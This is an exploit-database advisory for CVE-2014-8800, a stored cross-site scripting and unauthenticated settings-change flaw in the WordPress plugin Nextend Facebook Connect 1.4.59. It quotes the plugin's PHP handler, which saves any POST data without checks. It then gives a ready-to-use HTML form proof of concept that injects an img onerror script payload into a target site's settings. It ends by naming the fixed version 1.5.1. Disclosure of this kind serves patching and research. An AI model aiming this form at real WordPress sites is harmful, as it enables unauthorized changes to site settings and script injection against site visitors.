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# Nextend Facebook Connect 1.4.59 XSS Vulnerability

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# Exploit Title: Nextend Facebook Connect 1.4.59 XSS
# Date: 16-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.4.59.zip
# Category: webapps
# CVE: CVE-2014-8800

1. Description

Anyone can change plugin settings.

File: nextend-facebook-connect\nextend-facebook-settings.php
if(isset($_POST['newfb_update_options'])) {
if($_POST['newfb_update_options'] == 'Y') {
foreach($_POST AS $k => $v){
$_POST[$k] = stripslashes($v);
}
update_option("nextend_fb_connect", maybe_serialize($_POST));
$newfb_status = 'update_success';
}
}

http://security.szurek.pl/nextend-facebook-connect-1459-xss.html

2. Proof of Concept

<form method="post" action="http://wordpress-instalation">
<input type="hidden" name="newfb_update_options" value="Y">
XSS: <textarea name="fb_login_button" rows="10" cols="40"><img src=x
onerror=alert(String.fromCharCode(88,83,83))>&lt;/textarea&gt;
<input type="submit" value="Hack!">
</form>

3. Solution:

Update to version 1.5.1
https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.5.1.zip
https://wordpress.org/plugins/nextend-facebook-connect/changelog/

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-12-09]

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